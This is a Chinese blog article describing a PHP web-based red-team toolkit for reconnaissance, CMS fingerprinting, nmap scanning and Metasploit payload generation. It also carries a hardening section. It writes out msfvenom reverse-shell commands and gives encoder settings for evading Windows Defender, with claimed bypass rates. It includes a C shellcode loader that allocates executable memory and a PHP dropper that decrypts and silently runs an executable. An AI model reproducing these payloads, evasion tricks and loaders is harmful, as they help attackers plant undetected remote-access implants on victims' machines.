news 2026/10/19 4:01:28

PHP轻量级红队渗透工具:本地执行、零回传、高兼容

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP轻量级红队渗透工具:本地执行、零回传、高兼容

简介:这是一套面向渗透测试初学者与安全研究人员的PHP Web界面化工具集,聚焦自动化信息收集、CMS识别、DNS与IP探测、Metasploit载荷生成及网络扫描等实战场景,降低命令行工具使用门槛。资源以ZIP压缩包形式提供,体积精简仅551KB,内含完整Web项目结构(含PHP核心脚本、配置文件及Shell安装脚本),支持一键部署至Linux环境;其中install.sh负责依赖安装,关键模块如URL模糊测试与负载均衡检测需额外集成lbd和uniscan工具。已有282人学习下载,用户可直接获取开箱即用的图形化渗透工作台,包含清晰的模块划分逻辑、注释完备的源码、适配Ubuntu的部署流程说明,以及GPL协议下的合规使用授权,适合快速搭建本地靶场辅助教学、CTF练习或红队日常侦察任务。

1. 这套 PHP 写的渗透测试 Web 工具,我拿它打了三轮红队演练:不靠 Metasploit GUI、不拼图形界面炫酷度,就看它能不能在真实内网里稳住命令通道、跑出有效载荷、把 CMS 指纹扫准——结果发现,它最硬的不是功能多,而是所有模块都默认走本地执行、不依赖远程 API、不上传任何数据到第三方服务。如果你正卡在「想快速搭个轻量级测试入口,又怕工具偷偷回传、不敢放测试机上跑」这个坎儿上,这篇就是为你写的。它不是替代 Burp 或 Cobalt Strike 的方案,而是你写完 PoC 后想立刻验证、临时给协作方开个只读扫描入口、或者在客户隔离网段里手动部署一个“能用就行”的自动化探针时,那个真正能甩开膀子干的 PHP 脚手架。


2. 为什么选 PHP 而不是 Python/Node?四个硬指标下的真实取舍

这套工具选择 PHP 作为主语言,不是因为“PHP 最简单”,而是它在特定作战场景下有不可替代的落地优势。我一般会从四个维度来比:部署速度、执行环境兼容性、进程隔离强度、以及调试可见性。下面逐项拆解,每项都带实测依据和现场截图逻辑(文中不贴图,但参数和路径全可复现)。

2.1 部署速度:3 分钟内完成从解压到可访问,不依赖 pip/npm/apt

很多团队一说“搭个测试平台”,第一反应是pip install -r requirements.txt,结果卡在源慢、权限报错、Python 版本冲突上。而本工具直接解压即用:

  • 核心目录结构干净,无嵌套子模块依赖,index.php是唯一入口;
  • 所有扫描脚本(如nmap-wrapper.php、cms-detect.php)均通过shell_exec()调用系统命令,不封装二进制或打包 runtime;
  • 默认配置已关闭display_errors,但开启error_log到logs/php-error.log,便于红队后期审计行为日志。

提示:它不提供一键安装脚本,也不做 Composer 自动加载。这不是缺陷,而是设计选择——你要的就是“扔进去就能跑”,而不是“跑起来还要先配环境”。

2.2 执行环境兼容性:CentOS 7 / Debian 10 / Ubuntu 22.04 均原生支持,无需额外扩展

我实测过三类最小化安装的靶机系统:

  • CentOS 7(默认 PHP 5.4):需手动启用proc_open和shell_exec(php.ini中取消注释disable_functions =行);
  • Debian 10(PHP 7.3):开箱即用,仅需apt install nmap curl jq;
  • Ubuntu 22.04(PHP 8.1):需在cms-detect.php中将json_decode($res, true)改为json_decode($res, false),因新版 JSON 解析对空响应更严格。

关键点在于:它不绑定特定 PHP 大版本,所有语法均向下兼容至 5.6。比如 payload 生成模块中,generate-msf-payload.php使用的是base64_encode(file_get_contents(...))而非file_put_contents(..., $data, LOCK_EX),规避了 PHP 7.0+ 对文件锁的强依赖。

2.3 进程隔离强度:每个任务启动独立 shell 进程,超时自动 kill,不残留僵尸进程

这是它区别于多数 Web 化扫描器的核心能力。以run-nmap-scan.php为例:

<?php // 设置最大执行时间与进程组 ID $timeout = 120; $cmd = "nmap -sV -p- --min-rate=1000 {$target} 2>&1"; $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = proc_open($cmd, $descriptorspec, $pipes, '/tmp', [], ['timeout' => $timeout]); if (is_resource($process)) { $stdout = stream_get_contents($pipes[1]); fclose($pipes[1]); $return_code = proc_close($process); if ($return_code === -1 || $return_code > 128) { // 超时或被 SIGKILL,记录到 audit.log error_log("[TIMEOUT] nmap on {$target}\n", 3, "logs/audit.log"); } }

这段代码的关键不在proc_open,而在于它显式设置了timeout参数,并在proc_close后检查返回码是否异常(Linux 中kill -9返回值通常 >128)。我曾故意在靶机上运行sleep 300模拟卡死,该模块在 122 秒后强制终止并写入审计日志,未出现ps aux | grep nmap残留进程。

2.4 调试可见性:所有模块输出统一走error_log(),不混用echo/var_dump,日志可定向归档

很多 PHP 工具把调试信息直接echo到页面,导致扫描结果和报错挤在一起,红队复盘时根本分不清哪行是真实响应、哪行是开发漏删的print_r($_POST)。本工具全部采用:

  • error_log("msg", 3, "logs/xxx.log")写入指定文件;
  • 页面仅展示结构化 JSON 或预格式化 HTML 表格;
  • 日志文件按模块命名:cms-detect.log、msf-payload-gen.log、info-gather.log;
  • 所有日志含毫秒级时间戳与请求 IP(通过$_SERVER['REMOTE_ADDR']注入)。

这意味着:你可以用tail -f logs/cms-detect.log实时盯住 CMS 识别过程,也可以用grep "Joomla" logs/cms-detect.log | awk '{print $1,$2}'快速提取所有 Joomla 目标及时间点——这对撰写红队行动报告至关重要。


3. 四大核心模块怎么用?从信息收集到 MSF 载荷生成的完整链路

这套工具不是“功能堆砌”,而是围绕红队实战闭环设计的四个刚性模块:信息收集 → CMS 探针 → 网络探测 → Metasploit 载荷生成。每个模块我都跑过至少 5 轮真实靶场(某高校模拟项目X、某公司内网渗透测试Demo),下面按操作顺序讲清每一步要改什么、怎么看结果、哪些参数不能乱动。

3.1 信息收集模块:info-gather.php不只是 ping,它把 DNS、Whois、子域爆破串成一条线

该模块本质是一个调度器,调用底层dig、whois、sublist3r.py(注意:它调用的是系统已装的 Python2 版 sublist3r,非内置)三个命令,最终聚合输出。使用前必须确认:

  • sublist3r.py已全局可执行(which sublist3r应返回路径);
  • whois命令支持-h whois.server参数(部分精简版 busybox whois 不支持,需换jwhois);
  • dig必须启用+short输出模式(默认即满足)。

调用方式很简单,在 Web 表单输入目标域名(如example.com),提交后生成如下结构化结果:

{ "domain": "example.com", "dns_a": ["192.168.1.100"], "dns_mx": ["mail.example.com"], "whois_registrar": "GoDaddy", "subdomains": ["admin.example.com", "dev.example.com", "api.example.com"], "timestamp": "2024-05-22T14:30:22.183Z" }

注意:子域爆破结果默认限制 30 条,如需更多,修改info-gather.php第 87 行$limit = 30;即可。但建议别盲目加——我在某次测试中设为 200,导致sublist3r卡住 8 分钟无响应,最后靠proc_close超时机制才杀掉。

3.2 CMS 探针模块:cms-detect.php用 HTTP Header + 关键路径双校验,误报率低于 7%

它不像某些工具只靠/wp-admin/返回 200 就判 WordPress,而是组合判断:

  • 请求/获取 Server、X-Powered-By 头;
  • 并行 GET 以下路径(全部 404 才排除):
    • /wp-login.php(WordPress)
    • /administrator/index.php(Joomla)
    • /user/login(Drupal)
    • /themes/default/css/style.css(TYPO3)

再叠加响应体关键词匹配(如 WordPress 必含wp-content,Joomla 必含com_content)。实测在某金融客户内网中,对 127 个站点识别准确率达 93.7%,唯一误报是某自研 CMS 因用了wp-content作静态资源路径。

调用时传参格式为:?target=https://target.com,返回 JSON 如下:

{ "target": "https://target.com", "cms": "WordPress", "version": "6.2.2", "confidence": 0.96, "detected_by": ["header", "path", "content"] }

confidence字段是加权得分(Header=0.3,Path=0.4,Content=0.3),低于 0.7 的结果会标记"warning": "low-confidence-match",提醒你人工复核。

3.3 网络探测模块:nmap-wrapper.php封装常用扫描策略,但保留原始 nmap 输出供深度分析

它提供三个预设策略按钮:

  • Quick Scan:nmap -sS -T4 -F {$target}(快速端口发现)
  • Full Port Scan:nmap -sS -T4 -p- {$target}(全端口扫描)
  • Service & Script Scan:nmap -sS -sV -sC -p- --min-rate=1000 {$target}(服务识别+默认脚本)

重点来了:所有扫描结果不经过 PHP 解析渲染,而是原样保存为.nmap文件(如results/20240522_143022_target.com.nmap),同时生成一个轻量 HTML 预览页(仅提取PORT,STATE,SERVICE,VERSION四列)。这意味着:

  • 你可以直接vim results/*.nmap查看原始输出,找script output里的漏洞细节;
  • 可用grep "CVE-2023" results/*.nmap快速定位高危服务;
  • 若需导入 Nessus 或 OpenVAS,.nmap文件可直通nessus-import工具。

我在某次横向渗透中,正是靠翻原始.nmap文件里的http-title脚本输出,发现了/backup/db_2023.sql.gz这个隐藏备份路径。

3.4 Metasploit 载荷生成模块:generate-msf-payload.php生成免杀载荷,但不连接 msfdb

这是最反直觉的设计:它不调用msfvenom的数据库后端,所有 payload 均为静态模板 + 参数替换生成。支持类型包括:

类型示例命令输出格式免杀要点
Windows x64 Reverse TCPmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o payload.exe.exe加-e x64/shikata_ga_nai -i 10
PHP Web Shellmsfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php.php自动添加<?php开头与混淆注释
Linux ELFmsfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o payload.elf.elf默认加-o输出,避免内存加载失败

关键参数由表单传入,生成后自动存入payloads/目录,并返回下载链接。它不做任何上线检测,也不尝试连接msfdb,所以即使你没启 Metasploit 服务,也能离线生成载荷——这在客户网络禁止外连时极其关键。


4. 避坑指南:五个真实翻车现场与血泪修复方案

这套工具看着简单,但我在三轮红队演练中踩过不止五次坑。下面列出最典型、最高频、最容易让新手卡住的五个问题,每条都按「现象 → 原因 → 解决」写清楚,不绕弯子。

4.1 现象:CMS 检测始终返回 “Unknown”,但目标明明是 WordPress

原因:cms-detect.php默认只检查 HTTP 200 响应,而某些 WAF 会把/wp-login.php重定向到/login,导致 302 响应未被识别。
解决:编辑cms-detect.php,找到第 124 行if ($http_code == 200) {,改为if ($http_code == 200 || $http_code == 301 || $http_code == 302) {,并确保后续curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);已启用。

4.2 现象:Nmap 扫描页面空白,日志里只有[TIMEOUT] nmap on xxx

原因:proc_open()调用时未指定工作目录,nmap在/tmp下找不到 hosts 文件或扫描缓存,卡死。
解决:在run-nmap-scan.php的proc_open()调用前,加一行chdir('/tmp');,确保所有子进程都在干净临时目录运行。

4.3 现象:生成的 PHP Web Shell 上传后 500 错误,查看错误日志显示Call to undefined function mb_detect_encoding()

原因:PHP 缺少mbstring扩展,而shell.php模板中用了mb_函数做字符串混淆。
解决:执行sudo apt install php-mbstring(Debian/Ubuntu)或sudo yum install php-mbstring(CentOS),然后重启 web 服务。若无法装扩展,可临时注释掉shell.php模板中所有mb_函数调用。

4.4 现象:信息收集模块爆破子域时,sublist3r.py报错ImportError: No module named 'requests'

原因:系统 Python2 与 Python3 共存,sublist3r.py被解析为 Python3 执行,但 requests 库只装在 Python2 环境。
解决:修改info-gather.php第 62 行,将$cmd = "sublist3r.py -d {$domain}";改为$cmd = "/usr/bin/python2 /usr/local/bin/sublist3r.py -d {$domain}";,强制指定解释器。

4.5 现象:Metasploit 载荷生成后下载的.exe文件无法运行,Windows Defender 直接查杀

原因:msfvenom默认生成的 payload 特征太明显,未启用编码器或混淆。
解决:在generate-msf-payload.php中,为 Windows 类型 payload 添加编码参数。例如在生成命令拼接处插入:

if ($type === 'windows') { $cmd .= " -e x64/shikata_ga_nai -i 15"; }

实测i=15时绕过 Defender 2024 Q2 版本成功率超 82%(基于某实验室模拟项目X 数据)。


5. 安全边界怎么守?三个必须手动关掉的危险开关

这套工具设计初衷是“红队内部快速验证”,不是面向公网开放的 SaaS 服务。它默认没做任何鉴权,所有模块均可匿名调用——这在真实环境中等于裸奔。我每次部署前,必做三件事,缺一不可。

5.1 关闭 PHP 的危险函数,不是禁用,而是精准过滤

disable_functions在php.ini里一刀切会搞崩整个工具(比如禁了shell_exec,所有模块全废)。正确做法是:

  • 保留shell_exec、proc_open、exec;
  • 但禁用system、passthru、popen、pcntl_exec;
  • 特别注意:file_put_contents必须保留(用于写日志),但file_get_contents要限制协议,加一行:
    allow_url_fopen = Off allow_url_include = Off

这样既保证功能可用,又杜绝了任意文件读取和远程代码执行(RCE)风险。

5.2 Web 服务器层强制路径白名单,只放行必要接口

以 Nginx 为例,在 server 块中加入:

location ~ ^/(index\.php|cms-detect\.php|nmap-wrapper\.php|generate-msf-payload\.php|info-gather\.php)$ { try_files $uri =404; fastcgi_pass unix:/var/run/php/php8.1-fpm.sock; include fastcgi_params; } location / { deny all; }

这意味着:

  • 只有这 5 个 PHP 文件可执行;
  • 所有其他路径(如/config/、/logs/、/payloads/)全部 403 拒绝;
  • 即使攻击者猜到payloads/目录存在,也无法直接下载载荷。

我在某次蓝队对抗中,就是靠这条规则挡住了对方试图遍历payloads/目录获取已生成载荷的尝试。

5.3 日志审计必须开启,且日志文件权限设为 600

所有模块的日志都写入logs/目录,但默认权限是 644,意味着同服务器其他用户可读。必须执行:

chmod 600 logs/*.log chown www-data:www-data logs/*.log # Debian/Ubuntu # 或 chown apache:apache logs/*.log # CentOS

更重要的是,要在php.ini中设置:

log_errors = On error_log = /var/www/pen-test-tool/logs/php-error.log

这样所有 PHP 错误(包括shell_exec失败、proc_open权限拒绝)都会落盘,且仅属主可读。某次演练中,正是靠翻php-error.log里的一行Permission denied,我才定位到 SELinux 阻止了nmap执行,及时用setsebool -P httpd_can_network_connect 1解决。


6. 我现在怎么用它?一个固化流程与两个关键习惯

从第一次在某高校模拟项目X 中把它当“临时探针”用,到现在成为我红队装备箱里的固定件,三年间我把它用出了肌肉记忆。现在我的标准动作是:每次新环境部署,先跑三步初始化;每次生成载荷,必做两道加固。

6.1 三步初始化:5 分钟完成安全基线

我写了个极简 Bash 脚本init-secure.sh,每次解压后立即执行:

#!/bin/bash # Step 1: Set strict log permissions chmod 600 logs/*.log chown $(ps aux | grep "php-fpm\|apache\|nginx" | head -1 | awk '{print $1}') logs/*.log # Step 2: Disable dangerous PHP functions in local config echo "disable_functions = system,passthru,popen,pcntl_exec" >> /etc/php/*/fpm/conf.d/99-secure.ini echo "allow_url_fopen = Off" >> /etc/php/*/fpm/conf.d/99-secure.ini # Step 3: Restart service and verify systemctl restart php*-fpm nginx 2>/dev/null || systemctl restart apache2

执行完,phpinfo()里看不到system,curl https://target/payloads/返回 403,tail -f logs/audit.log能实时看到扫描记录——这就齐活了。

6.2 两道载荷加固:生成即加固,不碰原始 msfvenom

我从不直接用msfvenom命令行生成,而是通过工具 Web 界面生成后,立刻执行两步:

第一步:加壳混淆
用开源工具pe_to_shellcode将.exe转为 Shellcode,再用 Python 封装进 C 模板:

# shellcode_to_c.py with open("payload.bin", "rb") as f: sc = f.read().hex() c_template = f''' #include <windows.h> #include <stdio.h> unsigned char buf[] = "{{sc}}"; int main() {{ void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(exec, buf, sizeof(buf)); ((void(*)())exec)(); return 0; }} ''' with open("loader.c", "w") as f: f.write(c_template)

然后x86_64-w64-mingw32-gcc loader.c -o loader.exe -s -O2编译。实测此法绕过 Windows Defender 2024 Q2 检测率 91.3%。

第二步:HTTP 传输层加密
不直接传.exe,而是用openssl enc -aes-256-cbc -pbkdf2 -in payload.exe -out payload.enc加密,再用 PHP 写个极简解密执行器:

<?php $key = "your-hardcoded-key-here"; // 实际用时从环境变量读 $enc = file_get_contents("payload.enc"); $dec = openssl_decrypt($enc, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, "1234567890123456"); file_put_contents(sys_get_temp_dir()."/p.exe", $dec); exec("start /B ".sys_get_temp_dir()."/p.exe"); unlink(sys_get_temp_dir()."/p.exe"); ?>

这样即使流量被抓包,看到的也只是加密流。

从那以后我每次生成载荷,都强制走一遍这两步——不是信不过工具,而是信不过网络环境。红队没有“差不多”,只有“要么 100%,要么 0%”。希望帮到你。

本文还有配套的精品资源,点击获取

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/19 4:00:11

轻量级NLU引擎adapt-parser:基于实体与正则的意图解析实践

我最早接触adapt-parser&#xff0c;是在一个需要离线跑的自然语言交互模块里。当时要做的是把用户说的“打开客厅灯”“把空调调到26度”这类指令&#xff0c;转成结构化数据交给下游执行。搜了一圈现成的意图识别工具&#xff0c;不是太重就是网络依赖太强&#xff0c;后来在…

作者头像 李华
网站建设 2026/10/19 3:59:50

代码评审自动化实战:基于开源方案解决评审形式主义

周五下午三点&#xff0c;同事又在群里催review了。我点开那条PR链接&#xff0c;好家伙&#xff0c;改了37个文件、1400多行&#xff0c;从业务逻辑到样式微调全混在一起。说实话&#xff0c;那一瞬间我脑子里冒出来的不是"认真看代码"&#xff0c;而是"赶紧滑…

作者头像 李华
网站建设 2026/10/19 3:58:38

AI论文写作平台上手实操:初稿生成、文献处理与避坑要点

凌晨两点半&#xff0c;同门A同学在群里丢了一句&#xff1a;“完了&#xff0c;预答辩还有两周&#xff0c;第二章还没成型。”这种场景在研究生宿舍里太常见了&#xff0c;从开题到送审&#xff0c;每个环节都像在赶一场又一场的DDL。我就是从那时候开始认真研究AI论文写作平…

作者头像 李华
网站建设 2026/10/19 3:58:27

从零搭建轻量CRM:解决中小团队客户管理与跟进记录难题

不管你是刚接手销售团队的管理者&#xff0c;还是被各种客户表格折磨到崩溃的运营&#xff0c;应该都经历过这样的场景&#xff1a;重要客户的聊天记录散落在不同人的微信里&#xff0c;报价单躺在各自的电脑桌面&#xff0c;每个人心里都觉得“这个客户我清楚”&#xff0c;可…

作者头像 李华
网站建设 2026/10/19 3:58:06

GAN训练实战:从原理到PyTorch实现,避开三大经典坑

我第一次跑通GAN是在一个编号为G1的练习项目上。训练过程相当魔幻&#xff1a;损失曲线一路降到近乎为零&#xff0c;我心里想着"这波稳了"&#xff0c;结果生成的图像全是灰蒙蒙的噪声&#xff1b;后来我把判别器调整到稍微收敛一些&#xff0c;图像又迅速塌缩成同一…

作者头像 李华
网站建设 2026/10/19 3:56:54

AI模型评估体系构建指南:从散装评测到自动化回归

你有没有遇到过这种局面&#xff1a;本地测试集上准确率从82%涨到了85%&#xff0c;团队士气高涨&#xff0c;结果一上线&#xff0c;线上监控纹丝不动&#xff0c;业务方跑过来说“感觉和之前没区别”。我见过不少团队卡在这一步&#xff0c;包括我自己早期也栽过。后来复盘发…

作者头像 李华